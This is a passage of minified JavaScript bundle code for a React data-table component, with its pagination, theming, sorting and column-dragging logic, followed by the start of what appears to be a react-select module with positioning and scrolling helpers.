component.")},expandableIcon:{collapsed:l.default.createElement((()=>l.default.createElement("svg",{fill:"currentColor",height:"24",viewBox:"0 0 24 24",width:"24",xmlns:"http://www.w3.org/2000/svg"},l.default.createElement("path",{d:"M8.59 16.34l4.58-4.59-4.58-4.59L10 5.75l6 6-6 6z"}),l.default.createElement("path",{d:"M0-.25h24v24H0z",fill:"none"}))),null),expanded:l.default.createElement((()=>l.default.createElement("svg",{fill:"currentColor",height:"24",viewBox:"0 0 24 24",width:"24",xmlns:"http://www.w3.org/2000/svg"},l.default.createElement("path",{d:"M7.41 7.84L12 12.42l4.59-4.58L18 9.25l-6 6-6-6z"}),l.default.createElement("path",{d:"M0-.75h24v24H0z",fill:"none"}))),null)},expandableRowsComponentProps:{},progressPending:!1,progressComponent:l.default.createElement("div",{style:{fontSize:"24px",fontWeight:700,padding:"24px"}},"Loading..."),persistTableHead:!1,sortIcon:null,sortFunction:null,sortServer:!1,striped:!1,highlightOnHover:!1,pointerOnHover:!1,noContextMenu:!1,contextMessage:{singular:"item",plural:"items",message:"selected"},actions:null,contextActions:null,contextComponent:null,defaultSortFieldId:null,defaultSortAsc:!0,responsive:!0,noDataComponent:l.default.createElement("div",{style:{padding:"24px"}},"There are no records to display"),disabled:!1,noTableHead:!1,noHeader:!1,subHeader:!1,subHeaderAlign:t.Alignment.RIGHT,subHeaderWrap:!0,subHeaderComponent:null,fixedHeader:!1,fixedHeaderScrollHeight:"100vh",pagination:!1,paginationServer:!1,paginationServerOptions:{persistSelectedOnSort:!1,persistSelectedOnPageChange:!1},paginationDefaultPage:1,paginationResetDefaultPage:!1,paginationTotalRows:0,paginationPerPage:10,paginationRowsPerPageOptions:[10,15,20,25,30],paginationComponent:null,paginationComponentOptions:{},paginationIconFirstPage:l.default.createElement((()=>l.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24","aria-hidden":"true",role:"presentation"},l.default.createElement("path",{d:"M18.41 16.59L13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z"}),l.default.createElement("path",{fill:"none",d:"M24 24H0V0h24v24z"}))),null),paginationIconLastPage:l.default.createElement((()=>l.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24","aria-hidden":"true",role:"presentation"},l.default.createElement("path",{d:"M5.59 7.41L10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z"}),l.default.createElement("path",{fill:"none",d:"M0 0h24v24H0V0z"}))),null),paginationIconNext:l.default.createElement((()=>l.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24","aria-hidden":"true",role:"presentation"},l.default.createElement("path",{d:"M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"}),l.default.createElement("path",{d:"M0 0h24v24H0z",fill:"none"}))),null),paginationIconPrevious:l.default.createElement((()=>l.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24","aria-hidden":"true",role:"presentation"},l.default.createElement("path",{d:"M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"}),l.default.createElement("path",{d:"M0 0h24v24H0z",fill:"none"}))),null),dense:!1,conditionalRowStyles:[],theme:"default",customStyles:{},direction:t.Direction.AUTO,onChangePage:m,onChangeRowsPerPage:m,onRowClicked:m,onRowDoubleClicked:m,onRowMouseEnter:m,onRowMouseLeave:m,onRowExpandToggled:m,onSelectedRowsChange:m,onSort:m,onColumnOrderChange:m},Me={rowsPerPageText:"Rows per page:",rangeSeparatorText:"of",noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:"All"},Fe=c.default.nav`
	display: flex;
	flex: 1 1 auto;
	justify-content: flex-end;
	align-items: center;
	box-sizing: border-box;
	padding-right: 8px;
	padding-left: 8px;
	width: 100%;
	${({theme:e})=>e.pagination.style};
`,Le=c.default.button`
	position: relative;
	display: block;
	user-select: none;
	border: none;
	${({theme:e})=>e.pagination.pageButtonsStyle};
	${({$isRTL:e})=>e&&"transform: scale(-1, -1)"};
`,Te=c.default.div`
	display: flex;
	align-items: center;
	border-radius: 4px;
	white-space: nowrap;
	${k`
    width: 100%;
    justify-content: space-around;
  `};
`,Ve=c.default.span`
	flex-shrink: 1;
	user-select: none;
`,He=c.default(Ve)`
	margin: 0 24px;
`,$e=c.default(Ve)`
	margin: 0 4px;
`;var je=s.memo((function({rowsPerPage:e,rowCount:t,currentPage:n,direction:o=De.direction,paginationRowsPerPageOptions:r=De.paginationRowsPerPageOptions,paginationIconLastPage:i=De.paginationIconLastPage,paginationIconFirstPage:a=De.paginationIconFirstPage,paginationIconNext:l=De.paginationIconNext,paginationIconPrevious:c=De.paginationIconPrevious,paginationComponentOptions:u=De.paginationComponentOptions,onChangeRowsPerPage:d=De.onChangeRowsPerPage,onChangePage:p=De.onChangePage}){const f=(()=>{const e="object"==typeof window;function t(){return{width:e?window.innerWidth:void 0,height:e?window.innerHeight:void 0}}const[n,o]=s.useState(t);return s.useEffect((()=>{if(!e)return()=>null;function n(){o(t())}return window.addEventListener("resize",n),()=>window.removeEventListener("resize",n)}),[]),n})(),h=le(o),m=f.width&&f.width>599,b=g(t,e),v=n*e,w=v-e+1,y=1===n,C=n===b,x=Object.assign(Object.assign({},Me),u),S=n===b?`${w}-${t} ${x.rangeSeparatorText} ${t}`:`${w}-${v} ${x.rangeSeparatorText} ${t}`,O=s.useCallback((()=>p(n-1)),[n,p]),R=s.useCallback((()=>p(n+1)),[n,p]),E=s.useCallback((()=>p(1)),[p]),k=s.useCallback((()=>p(g(t,e))),[p,t,e]),I=s.useCallback((e=>d(Number(e.target.value),n)),[n,d]),A=r.map((e=>s.createElement("option",{key:e,value:e},e)));x.selectAllRowsItem&&A.push(s.createElement("option",{key:-1,value:t},x.selectAllRowsItemText));const P=s.createElement(Pe,{onChange:I,defaultValue:e,"aria-label":x.rowsPerPageText},A);return s.createElement(Fe,{className:"rdt_Pagination"},!x.noRowsPerPage&&m&&s.createElement(s.Fragment,null,s.createElement($e,null,x.rowsPerPageText),P),m&&s.createElement(He,null,S),s.createElement(Te,null,s.createElement(Le,{id:"pagination-first-page",type:"button","aria-label":"First Page","aria-disabled":y,onClick:E,disabled:y,$isRTL:h},a),s.createElement(Le,{id:"pagination-previous-page",type:"button","aria-label":"Previous Page","aria-disabled":y,onClick:O,disabled:y,$isRTL:h},c),!x.noRowsPerPage&&!m&&P,s.createElement(Le,{id:"pagination-next-page",type:"button","aria-label":"Next Page","aria-disabled":C,onClick:R,disabled:C,$isRTL:h},l),s.createElement(Le,{id:"pagination-last-page",type:"button","aria-label":"Last Page","aria-disabled":C,onClick:k,disabled:C,$isRTL:h},i)))}));const _e=(e,t)=>{const n=s.useRef(!0);s.useEffect((()=>{n.current?n.current=!1:e()}),t)};var ze=function(e){return function(e){return!!e&&"object"==typeof e}(e)&&!function(e){var t=Object.prototype.toString.call(e);return"[object RegExp]"===t||"[object Date]"===t||function(e){return e.$$typeof===Ne}(e)}(e)},Ne="function"==typeof Symbol&&Symbol.for?Symbol.for("react.element"):60103;function Be(e,t){return!1!==t.clone&&t.isMergeableObject(e)?Ge((n=e,Array.isArray(n)?[]:{}),e,t):e;var n}function Ye(e,t,n){return e.concat(t).map((function(e){return Be(e,n)}))}function We(e){return Object.keys(e).concat(function(e){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(e).filter((function(t){return Object.propertyIsEnumerable.call(e,t)})):[]}(e))}function Ue(e,t){try{return t in e}catch(e){return!1}}function Ge(e,t,n){(n=n||{}).arrayMerge=n.arrayMerge||Ye,n.isMergeableObject=n.isMergeableObject||ze,n.cloneUnlessOtherwiseSpecified=Be;var o=Array.isArray(t);return o===Array.isArray(e)?o?n.arrayMerge(e,t,n):function(e,t,n){var o={};return n.isMergeableObject(e)&&We(e).forEach((function(t){o[t]=Be(e[t],n)})),We(t).forEach((function(r){(function(e,t){return Ue(e,t)&&!(Object.hasOwnProperty.call(e,t)&&Object.propertyIsEnumerable.call(e,t))})(e,r)||(Ue(e,r)&&n.isMergeableObject(t[r])?o[r]=function(e,t){if(!t.customMerge)return Ge;var n=t.customMerge(e);return"function"==typeof n?n:Ge}(r,n)(e[r],t[r],n):o[r]=Be(t[r],n))})),o}(e,t,n):Be(t,n)}Ge.all=function(e,t){if(!Array.isArray(e))throw new Error("first argument should be an array");return e.reduce((function(e,n){return Ge(e,n,t)}),{})};var qe=function(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}(Ge);const Xe={text:{primary:"rgba(0, 0, 0, 0.87)",secondary:"rgba(0, 0, 0, 0.54)",disabled:"rgba(0, 0, 0, 0.38)"},background:{default:"#FFFFFF"},context:{background:"#e3f2fd",text:"rgba(0, 0, 0, 0.87)"},divider:{default:"rgba(0,0,0,.12)"},button:{default:"rgba(0,0,0,.54)",focus:"rgba(0,0,0,.12)",hover:"rgba(0,0,0,.12)",disabled:"rgba(0, 0, 0, .18)"},selected:{default:"#e3f2fd",text:"rgba(0, 0, 0, 0.87)"},highlightOnHover:{default:"#EEEEEE",text:"rgba(0, 0, 0, 0.87)"},striped:{default:"#FAFAFA",text:"rgba(0, 0, 0, 0.87)"}},Je={default:Xe,light:Xe,dark:{text:{primary:"#FFFFFF",secondary:"rgba(255, 255, 255, 0.7)",disabled:"rgba(0,0,0,.12)"},background:{default:"#424242"},context:{background:"#E91E63",text:"#FFFFFF"},divider:{default:"rgba(81, 81, 81, 1)"},button:{default:"#FFFFFF",focus:"rgba(255, 255, 255, .54)",hover:"rgba(255, 255, 255, .12)",disabled:"rgba(255, 255, 255, .18)"},selected:{default:"rgba(0, 0, 0, .7)",text:"#FFFFFF"},highlightOnHover:{default:"rgba(0, 0, 0, .7)",text:"#FFFFFF"},striped:{default:"rgba(0, 0, 0, .87)",text:"#FFFFFF"}}};function Ke(e,t,n,o){const[r,i]=s.useState((()=>f(e))),[l,c]=s.useState(""),u=s.useRef("");_e((()=>{i(f(e))}),[e]);const d=s.useCallback((e=>{var t,n,o;const{attributes:i}=e.target,a=null===(t=i.getNamedItem("data-column-id"))||void 0===t?void 0:t.value;a&&(u.current=(null===(o=null===(n=r[w(r,a)])||void 0===n?void 0:n.id)||void 0===o?void 0:o.toString())||"",c(u.current))}),[r]),p=s.useCallback((e=>{var n;const{attributes:o}=e.target,a=null===(n=o.getNamedItem("data-column-id"))||void 0===n?void 0:n.value;if(a&&u.current&&a!==u.current){const e=w(r,u.current),n=w(r,a),o=[...r];o[e]=r[n],o[n]=r[e],i(o),t(o)}}),[t,r]),g=s.useCallback((e=>{e.preventDefault()}),[]),h=s.useCallback((e=>{e.preventDefault()}),[]),m=s.useCallback((e=>{e.preventDefault(),u.current="",c("")}),[]),b=function(e=!1){return e?a.ASC:a.DESC}(o),v=s.useMemo((()=>r[w(r,null==n?void 0:n.toString())]||{}),[n,r]);return{tableColumns:r,draggingColumnId:l,handleDragStart:d,handleDragEnter:p,handleDragOver:g,handleDragLeave:h,handleDragEnd:m,defaultSortDirection:b,defaultSortColumn:v}}var Ze=s.memo((function(e){const{data:t=De.data,columns:n=De.columns,title:o=De.title,actions:i=De.actions,keyField:l=De.keyField,striped:c=De.striped,highlightOnHover:d=De.highlightOnHover,pointerOnHover:p=De.pointerOnHover,dense:f=De.dense,selectableRows:m=De.selectableRows,selectableRowsSingle:b=De.selectableRowsSingle,selectableRowsHighlight:w=De.selectableRowsHighlight,selectableRowsNoSelectAll:y=De.selectableRowsNoSelectAll,selectableRowsVisibleOnly:x=De.selectableRowsVisibleOnly,selectableRowSelected:O=De.selectableRowSelected,selectableRowDisabled:k=De.selectableRowDisabled,selectableRowsComponent:I=De.selectableRowsComponent,selectableRowsComponentProps:A=De.selectableRowsComponentProps,onRowExpandToggled:D=De.onRowExpandToggled,onSelectedRowsChange:M=De.onSelectedRowsChange,expandableIcon:F=De.expandableIcon,onChangeRowsPerPage:L=De.onChangeRowsPerPage,onChangePage:T=De.onChangePage,paginationServer:V=De.paginationServer,paginationServerOptions:H=De.paginationServerOptions,paginationTotalRows:$=De.paginationTotalRows,paginationDefaultPage:j=De.paginationDefaultPage,paginationResetDefaultPage:_=De.paginationResetDefaultPage,paginationPerPage:z=De.paginationPerPage,paginationRowsPerPageOptions:N=De.paginationRowsPerPageOptions,paginationIconLastPage:B=De.paginationIconLastPage,paginationIconFirstPage:Y=De.paginationIconFirstPage,paginationIconNext:W=De.paginationIconNext,paginationIconPrevious:U=De.paginationIconPrevious,paginationComponent:G=De.paginationComponent,paginationComponentOptions:q=De.paginationComponentOptions,responsive:X=De.responsive,progressPending:J=De.progressPending,progressComponent:K=De.progressComponent,persistTableHead:Q=De.persistTableHead,noDataComponent:ee=De.noDataComponent,disabled:te=De.disabled,noTableHead:ne=De.noTableHead,noHeader:oe=De.noHeader,fixedHeader:re=De.fixedHeader,fixedHeaderScrollHeight:ae=De.fixedHeaderScrollHeight,pagination:le=De.pagination,subHeader:ce=De.subHeader,subHeaderAlign:ue=De.subHeaderAlign,subHeaderWrap:de=De.subHeaderWrap,subHeaderComponent:pe=De.subHeaderComponent,noContextMenu:fe=De.noContextMenu,contextMessage:ge=De.contextMessage,contextActions:he=De.contextActions,contextComponent:be=De.contextComponent,expandableRows:ve=De.expandableRows,onRowClicked:we=De.onRowClicked,onRowDoubleClicked:ke=De.onRowDoubleClicked,onRowMouseEnter:Ie=De.onRowMouseEnter,onRowMouseLeave:Ae=De.onRowMouseLeave,sortIcon:Pe=De.sortIcon,onSort:Me=De.onSort,sortFunction:Fe=De.sortFunction,sortServer:Le=De.sortServer,expandableRowsComponent:Te=De.expandableRowsComponent,expandableRowsComponentProps:Ve=De.expandableRowsComponentProps,expandableRowDisabled:He=De.expandableRowDisabled,expandableRowsHideExpander:$e=De.expandableRowsHideExpander,expandOnRowClicked:ze=De.expandOnRowClicked,expandOnRowDoubleClicked:Ne=De.expandOnRowDoubleClicked,expandableRowExpanded:Be=De.expandableRowExpanded,expandableInheritConditionalStyles:Ye=De.expandableInheritConditionalStyles,defaultSortFieldId:We=De.defaultSortFieldId,defaultSortAsc:Ue=De.defaultSortAsc,clearSelectedRows:Ge=De.clearSelectedRows,conditionalRowStyles:Xe=De.conditionalRowStyles,theme:Ze=De.theme,customStyles:Qe=De.customStyles,direction:et=De.direction,onColumnOrderChange:tt=De.onColumnOrderChange,className:nt}=e,{tableColumns:ot,draggingColumnId:rt,handleDragStart:it,handleDragEnter:at,handleDragOver:st,handleDragLeave:lt,handleDragEnd:ct,defaultSortDirection:ut,defaultSortColumn:dt}=Ke(n,tt,We,Ue),[{rowsPerPage:pt,currentPage:ft,selectedRows:gt,allSelected:ht,selectedCount:mt,selectedColumn:bt,sortDirection:vt,toggleOnSelectedRowsChange:wt},yt]=s.useReducer(C,{allSelected:!1,selectedCount:0,selectedRows:[],selectedColumn:dt,toggleOnSelectedRowsChange:!1,sortDirection:ut,currentPage:j,rowsPerPage:z,selectedRowsFlag:!1,contextMessage:De.contextMessage}),{persistSelectedOnSort:Ct=!1,persistSelectedOnPageChange:xt=!1}=H,St=!(!V||!xt&&!Ct),Ot=le&&!J&&t.length>0,Rt=G||je,Et=s.useMemo((()=>((e={},t="default",n="default")=>{const o=Je[t]?t:n;return qe({table:{style:{color:(r=Je[o]).text.primary,backgroundColor:r.background.default}},tableWrapper:{style:{display:"table"}},responsiveWrapper:{style:{}},header:{style:{fontSize:"22px",color:r.text.primary,backgroundColor:r.background.default,minHeight:"56px",paddingLeft:"16px",paddingRight:"8px"}},subHeader:{style:{backgroundColor:r.background.default,minHeight:"52px"}},head:{style:{color:r.text.primary,fontSize:"12px",fontWeight:500}},headRow:{style:{backgroundColor:r.background.default,minHeight:"52px",borderBottomWidth:"1px",borderBottomColor:r.divider.default,borderBottomStyle:"solid"},denseStyle:{minHeight:"32px"}},headCells:{style:{paddingLeft:"16px",paddingRight:"16px"},draggingStyle:{cursor:"move"}},contextMenu:{style:{backgroundColor:r.context.background,fontSize:"18px",fontWeight:400,color:r.context.text,paddingLeft:"16px",paddingRight:"8px",transform:"translate3d(0, -100%, 0)",transitionDuration:"125ms",transitionTimingFunction:"cubic-bezier(0, 0, 0.2, 1)",willChange:"transform"},activeStyle:{transform:"translate3d(0, 0, 0)"}},cells:{style:{paddingLeft:"16px",paddingRight:"16px",wordBreak:"break-word"},draggingStyle:{}},rows:{style:{fontSize:"13px",fontWeight:400,color:r.text.primary,backgroundColor:r.background.default,minHeight:"48px","&:not(:last-of-type)":{borderBottomStyle:"solid",borderBottomWidth:"1px",borderBottomColor:r.divider.default}},denseStyle:{minHeight:"32px"},selectedHighlightStyle:{"&:nth-of-type(n)":{color:r.selected.text,backgroundColor:r.selected.default,borderBottomColor:r.background.default}},highlightOnHoverStyle:{color:r.highlightOnHover.text,backgroundColor:r.highlightOnHover.default,transitionDuration:"0.15s",transitionProperty:"background-color",borderBottomColor:r.background.default,outlineStyle:"solid",outlineWidth:"1px",outlineColor:r.background.default},stripedStyle:{color:r.striped.text,backgroundColor:r.striped.default}},expanderRow:{style:{color:r.text.primary,backgroundColor:r.background.default}},expanderCell:{style:{flex:"0 0 48px"}},expanderButton:{style:{color:r.button.default,fill:r.button.default,backgroundColor:"transparent",borderRadius:"2px",transition:"0.25s",height:"100%",width:"100%","&:hover:enabled":{cursor:"pointer"},"&:disabled":{color:r.button.disabled},"&:hover:not(:disabled)":{cursor:"pointer",backgroundColor:r.button.hover},"&:focus":{outline:"none",backgroundColor:r.button.focus},svg:{margin:"auto"}}},pagination:{style:{color:r.text.secondary,fontSize:"13px",minHeight:"56px",backgroundColor:r.background.default,borderTopStyle:"solid",borderTopWidth:"1px",borderTopColor:r.divider.default},pageButtonsStyle:{borderRadius:"50%",height:"40px",width:"40px",padding:"8px",margin:"px",cursor:"pointer",transition:"0.4s",color:r.button.default,fill:r.button.default,backgroundColor:"transparent","&:disabled":{cursor:"unset",color:r.button.disabled,fill:r.button.disabled},"&:hover:not(:disabled)":{backgroundColor:r.button.hover},"&:focus":{outline:"none",backgroundColor:r.button.focus}}},noData:{style:{display:"flex",alignItems:"center",justifyContent:"center",color:r.text.primary,backgroundColor:r.background.default}},progress:{style:{display:"flex",alignItems:"center",justifyContent:"center",color:r.text.primary,backgroundColor:r.background.default}}},e);var r})(Qe,Ze)),[Qe,Ze]),kt=s.useMemo((()=>Object.assign({},"auto"!==et&&{dir:et})),[et]),It=s.useMemo((()=>{if(Le)return t;if((null==bt?void 0:bt.sortFunction)&&"function"==typeof bt.sortFunction){const e=bt.sortFunction,n=vt===a.ASC?e:(t,n)=>-1*e(t,n);return[...t].sort(n)}return function(e,t,n,o){return t?o&&"function"==typeof o?o(e.slice(0),t,n):e.slice(0).sort(((e,o)=>{const r=t(e),i=t(o);if("asc"===n){if(r<i)return-1;if(r>i)return 1}if("desc"===n){if(r>i)return-1;if(r<i)return 1}return 0})):e}(t,null==bt?void 0:bt.selector,vt,Fe)}),[Le,bt,vt,t,Fe]),At=s.useMemo((()=>{if(le&&!V){const e=ft*pt,t=e-pt;return It.slice(t,e)}return It}),[ft,le,V,pt,It]),Pt=s.useCallback((e=>{yt(e)}),[]),Dt=s.useCallback((e=>{yt(e)}),[]),Mt=s.useCallback((e=>{yt(e)}),[]),Ft=s.useCallback(((e,t)=>we(e,t)),[we]),Lt=s.useCallback(((e,t)=>ke(e,t)),[ke]),Tt=s.useCallback(((e,t)=>Ie(e,t)),[Ie]),Vt=s.useCallback(((e,t)=>Ae(e,t)),[Ae]),Ht=s.useCallback((e=>yt({type:"CHANGE_PAGE",page:e,paginationServer:V,visibleOnly:x,persistSelectedOnPageChange:xt})),[V,xt,x]),$t=s.useCallback((e=>{const t=g($||At.length,e),n=h(ft,t);V||Ht(n),yt({type:"CHANGE_ROWS_PER_PAGE",page:n,rowsPerPage:e})}),[ft,Ht,V,$,At.length]);if(le&&!V&&It.length>0&&0===At.length){const e=g(It.length,pt),t=h(ft,e);Ht(t)}_e((()=>{M({allSelected:ht,selectedCount:mt,selectedRows:gt.slice(0)})}),[wt]),_e((()=>{Me(bt,vt,It.slice(0))}),[bt,vt]),_e((()=>{T(ft,$||It.length)}),[ft]),_e((()=>{L(pt,ft)}),[pt]),_e((()=>{Ht(j)}),[j,_]),_e((()=>{if(le&&V&&$>0){const e=g($,pt),t=h(ft,e);ft!==t&&Ht(t)}}),[$]),s.useEffect((()=>{yt({type:"CLEAR_SELECTED_ROWS",selectedRowsFlag:Ge})}),[b,Ge]),s.useEffect((()=>{if(!O)return;const e=It.filter((e=>O(e))),t=b?e.slice(0,1):e;yt({type:"SELECT_MULTIPLE_ROWS",keyField:l,selectedRows:t,totalRows:It.length,mergeSelections:St})}),[t,O]);const jt=x?At:It,_t=xt||b||y;return s.createElement(r.ThemeProvider,{theme:Et},!oe&&(!!o||!!i)&&s.createElement(me,{title:o,actions:i,showMenu:!fe,selectedCount:mt,direction:et,contextActions:he,contextComponent:be,contextMessage:ge}),ce&&s.createElement(ye,{align:ue,wrapContent:de},pe),s.createElement(xe,Object.assign({$responsive:X,$fixedHeader:re,$fixedHeaderScrollHeight:ae,className:nt},kt),s.createElement(Oe,null,J&&!Q&&s.createElement(Se,null,K),s.createElement(S,{disabled:te,className:"rdt_Table",role:"table"},!ne&&(!!Q||It.length>0&&!J)&&s.createElement(R,{className:"rdt_TableHead",role:"rowgroup",$fixedHeader:re},s.createElement(E,{className:"rdt_TableHeadRow",role:"row",$dense:f},m&&(_t?s.createElement(P,{style:{flex:"0 0 48px"}}):s.createElement(se,{allSelected:ht,selectedRows:gt,selectableRowsComponent:I,selectableRowsComponentProps:A,selectableRowDisabled:k,rowData:jt,keyField:l,mergeSelections:St,onSelectAllRows:Dt})),ve&&!$e&&s.createElement(Re,null),ot.map((e=>s.createElement(ie,{key:e.id,column:e,selectedColumn:bt,disabled:J||0===It.length,pagination:le,paginationServer:V,persistSelectedOnSort:Ct,selectableRowsVisibleOnly:x,sortDirection:vt,sortIcon:Pe,sortServer:Le,onSort:Pt,onDragStart:it,onDragOver:st,onDragEnd:ct,onDragEnter:at,onDragLeave:lt,draggingColumnId:rt}))))),!It.length&&!J&&s.createElement(Ee,null,ee),J&&Q&&s.createElement(Se,null,K),!J&&It.length>0&&s.createElement(Ce,{className:"rdt_TableBody",role:"rowgroup"},At.map(((e,t)=>{const n=u(e,l),o=function(e=""){return"number"!=typeof e&&(!e||0===e.length)}(n)?t:n,r=v(e,gt,l),i=!!(ve&&Be&&Be(e)),a=!!(ve&&He&&He(e));return s.createElement(Z,{id:o,key:o,keyField:l,"data-row-id":o,columns:ot,row:e,rowCount:It.length,rowIndex:t,selectableRows:m,expandableRows:ve,expandableIcon:F,highlightOnHover:d,pointerOnHover:p,dense:f,expandOnRowClicked:ze,expandOnRowDoubleClicked:Ne,expandableRowsComponent:Te,expandableRowsComponentProps:Ve,expandableRowsHideExpander:$e,defaultExpanderDisabled:a,defaultExpanded:i,expandableInheritConditionalStyles:Ye,conditionalRowStyles:Xe,selected:r,selectableRowsHighlight:w,selectableRowsComponent:I,selectableRowsComponentProps:A,selectableRowDisabled:k,selectableRowsSingle:b,striped:c,onRowExpandToggled:D,onRowClicked:Ft,onRowDoubleClicked:Lt,onRowMouseEnter:Tt,onRowMouseLeave:Vt,onSelectedRow:Mt,draggingColumnId:rt,onDragStart:it,onDragOver:st,onDragEnd:ct,onDragEnter:at,onDragLeave:lt})})))))),Ot&&s.createElement("div",null,s.createElement(Rt,{onChangePage:Ht,onChangeRowsPerPage:$t,rowCount:$||It.length,currentPage:ft,rowsPerPage:pt,direction:et,paginationRowsPerPageOptions:N,paginationIconLastPage:B,paginationIconFirstPage:Y,paginationIconNext:W,paginationIconPrevious:U,paginationComponentOptions:q})))}));t.STOP_PROP_TAG=W,t.createTheme=function(e="default",t,n="default"){return Je[e]||(Je[e]=qe(Je[n],t||{})),Je[e]=qe(Je[e],t||{}),Je[e]},t.default=Ze,t.defaultThemes=Je},7045:(e,t,n)=>{"use strict";n.d(t,{Ay:()=>Ct});var o=n(4467);function r(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function i(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?r(Object(n),!0).forEach((function(t){(0,o.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):r(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var a=n(296),s=n(45),l=n(1609),c=["defaultInputValue","defaultMenuIsOpen","defaultValue","inputValue","menuIsOpen","onChange","onInputChange","onMenuClose","onMenuOpen","value"],u=n(8168),d=n(3029),p=n(2901),f=n(3662);function g(e){return g=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(e){return e.__proto__||Object.getPrototypeOf(e)},g(e)}function h(){try{var e=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(e){}return(h=function(){return!!e})()}var m=n(2284),b=n(9417);var v=n(5458),w=n(7437),y=n(5795),C=n(7193),x=n(6635);function S(e){return(0,x.vq)(e)?e:e.contextElement}function O(e){const t=S(e);if(!(0,x.sb)(t))return(0,C.Jx)(1);const n=t.getBoundingClientRect(),{width:o,height:r,$:i}=function(e){const t=(0,x.L9)(e);let n=parseFloat(t.width)||0,o=parseFloat(t.height)||0;const r=(0,x.sb)(e),i=r?e.offsetWidth:n,a=r?e.offsetHeight:o,s=(0,C.LI)(n)!==i||(0,C.LI)(o)!==a;return s&&(n=i,o=a),{width:n,height:o,$:s}}(t);let a=(i?(0,C.LI)(n.width):n.width)/o,s=(i?(0,C.LI)(n.height):n.height)/r;return a&&Number.isFinite(a)||(a=1),s&&Number.isFinite(s)||(s=1),{x:a,y:s}}const R=(0,C.Jx)(0);function E(e){const t=(0,x.zk)(e);return(0,x.Tc)()&&t.visualViewport?{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}:R}function k(e,t,n,o){void 0===t&&(t=!1),void 0===n&&(n=!1);const r=e.getBoundingClientRect(),i=S(e);let a=(0,C.Jx)(1);t&&(o?(0,x.vq)(o)&&(a=O(o)):a=O(e));const s=function(e,t,n){return void 0===t&&(t=!1),!(!n||t&&n!==(0,x.zk)(e))&&t}(i,n,o)?E(i):(0,C.Jx)(0);let l=(r.left+s.x)/a.x,c=(r.top+s.y)/a.y,u=r.width/a.x,d=r.height/a.y;if(i){const e=(0,x.zk)(i),t=o&&(0,x.vq)(o)?(0,x.zk)(o):o;let n=e,r=(0,x._m)(n);for(;r&&o&&t!==n;){const e=O(r),t=r.getBoundingClientRect(),o=(0,x.L9)(r),i=t.left+(r.clientLeft+parseFloat(o.paddingLeft))*e.x,a=t.top+(r.clientTop+parseFloat(o.paddingTop))*e.y;l*=e.x,c*=e.y,u*=e.x,d*=e.y,l+=i,c+=a,n=(0,x.zk)(r),r=(0,x._m)(n)}}return(0,C.B1)({width:u,height:d,x:l,y:c})}x.ep,x.vq;const I=l.useLayoutEffect;var A=["className","clearValue","cx","getStyles","getClassNames","getValue","hasValue","isMulti","isRtl","options","selectOption","selectProps","setValue","theme"],P=function(){};function D(e,t){return t?"-"===t[0]?e+t:e+"__"+t:e}function M(e,t){for(var n=arguments.length,o=new Array(n>2?n-2:0),r=2;r<n;r++)o[r-2]=arguments[r];var i=[].concat(o);if(t&&e)for(var a in t)t.hasOwnProperty(a)&&t[a]&&i.push("".concat(D(e,a)));return i.filter((function(e){return e})).map((function(e){return String(e).trim()})).join(" ")}var F=function(e){return t=e,Array.isArray(t)?e.filter(Boolean):"object"===(0,m.A)(e)&&null!==e?[e]:[];var t},L=function(e){return e.className,e.clearValue,e.cx,e.getStyles,e.getClassNames,e.getValue,e.hasValue,e.isMulti,e.isRtl,e.options,e.selectOption,e.selectProps,e.setValue,e.theme,i({},(0,s.A)(e,A))},T=function(e,t,n){var o=e.cx,r=e.getStyles,i=e.getClassNames,a=e.className;return{css:r(t,e),className:o(null!=n?n:{},i(t,e),a)}};function V(e){return[document.documentElement,document.body,window].indexOf(e)>-1}function H(e){return V(e)?window.pageYOffset:e.scrollTop}function $(e,t){V(e)?window.scrollTo(0,t):e.scrollTop=t}function j(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:200,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:P,r=H(e),i=t-r,a=0;!function t(){var s,l=i*((s=(s=a+=10)/n-1)*s*s+1)+r;$(e,l),a<n?window.requestAnimationFrame(t):o(e)}()}function _(e,t){var n=e.getBoundingClientRect(),o=t.getBoundingClientRect(),r=t.offsetHeight/3;o.bottom+r>n.bottom?$(e,Math.min(t.offsetTop+t.clientHeight-e.offsetHeight+r,e.scrollHeight)):o.top-r<n.top&&$(e,Math.max(t.offsetTop-r,0))}function z(){try{return document.createEvent("TouchEvent"),!0}catch(e){return!1}}var N=!1,B={get passive(){return N=!0}},Y="undefined"!=typeof window?window:{};Y.addEventListener&&Y.removeEventListener&&(Y.addEventListener("p",P,B),Y.removeEventListener("p",P,!1));var W=N;function U(e){return null!=e}function G(e,t,n){return e?t:n}var q=["children","innerProps"],X=["children","innerProps"];var J,K,Z,Q=function(e){return"auto"===e?"bottom":e},ee=(0,l.createContext)(null),te=function(e){var 